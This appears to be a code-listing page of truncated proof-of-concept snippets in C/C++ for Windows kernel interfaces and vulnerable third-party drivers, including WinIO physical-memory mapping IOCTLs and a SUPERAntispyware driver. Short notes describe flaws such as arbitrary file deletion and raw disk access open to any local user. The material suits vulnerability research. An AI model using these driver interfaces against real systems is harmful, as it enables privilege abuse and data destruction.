| #include <Windows.h> | |
| #include <cstdio> | |
| typedef NTSTATUS(NTAPI* pfnNtCreateIoRing)( | |
| ULONG_PTR Param1, | |
| ULONG_PTR Param2, | |
| ULONG_PTR Param3, | |
| ULONG_PTR Param4 | |
| ); |
| #include <fusion.h> | |
| typedef HRESULT(WINAPI* pfnCreateAssemblyEnum)( | |
| _Out_ IAssemblyEnum** pEnum, | |
| _In_opt_ IUnknown* pUnkReserved, | |
| _In_opt_ IAssemblyName* pName, | |
| _In_ DWORD dwFlags, | |
| _Reserved_ LPVOID pvReserved); | |
| typedef HRESULT(WINAPI* pfnCreateAssemblyCache)( |
| #include <windows.h> | |
| #include <cstdio> | |
| #include "ntos.h" | |
| #define WINIO_DEVICE_TYPE (DWORD)0x8010 | |
| #define WINIO_MAP_FUNCID (DWORD)0x810 | |
| #define WINIO_UNMAP_FUNCID (DWORD)0x811 | |
| #define IOCTL_WINIO_MAP_USER_PHYSICAL_MEMORY \ |
| #pragma warning(disable: 4005) | |
| #include <windows.h> | |
| #include <cstdio> | |
| #include <ntstatus.h> | |
| typedef NTSTATUS (NTAPI *pfnNtCreateEnclave)( | |
| _In_ HANDLE ProcessHandle, | |
| _Inout_ PVOID* BaseAddress, | |
| _In_ ULONG_PTR ZeroBits, |
| #pragma warning(disable: 4005) | |
| #include <windows.h> | |
| #include <strsafe.h> | |
| #include <ntstatus.h> | |
| #include "ntos.h" | |
| NTSTATUS CallDriver( | |
| _In_ HANDLE DeviceHandle, | |
| _In_ ULONG IoControlCode, |
| #pragma warning(disable: 4005) | |
| #include <windows.h> | |
| #include <strsafe.h> | |
| #include <ntstatus.h> | |
| #include "ntos.h" | |
| NTSTATUS CallDriver( | |
| _In_ HANDLE DeviceHandle, | |
| _In_ ULONG IoControlCode, |
All parameters to the functions supplied from user-mode via DeviceIoControl parameters. Everything from this available for any local user on machine where this driver is running.
Arbitrary file deletion. Resets file attributes via ZwSetInformationFile and then does ZwDeleteFile.
Wrapper around ZwQuerySystemInformation(SystemProcessInformation).
| #pragma warning(disable: 4005) | |
| #include <windows.h> | |
| #include <strsafe.h> | |
| #include <ntstatus.h> | |
| #include "ntos.h" | |
| #if defined (_MSC_VER) | |
| #if (_MSC_VER >= 1900) | |
| #ifdef _DEBUG |
| This is saskutil64.sys 1.0.0.1016 driver of SUPERAntispyware 8.0.0.1050 (current), both Free/Pro editions. | |
| The SaskCallDriver function work with fixed size buffer send from user mode. | |
| This buffer is a structure defined as | |
| #pragma pack(push, 1) | |
| typedef struct _CALL_DRV { | |
| WCHAR DeviceName[2048]; //e.g. \Device\Harddisk0\DR0 | |
| LARGE_INTEGER StartingOffset; | |
| SIZE_T DataSize; | |
| PVOID DataPtr; //pointer to user mode allocated buffer of DataSize length. |
| int main() | |
| { | |
| HANDLE deviceHandle = CreateFile(TEXT("\\\\.\\MaxProc64"), | |
| GENERIC_READ | GENERIC_WRITE, | |
| 0, | |
| NULL, | |
| OPEN_EXISTING, | |
| 0, | |
| NULL); |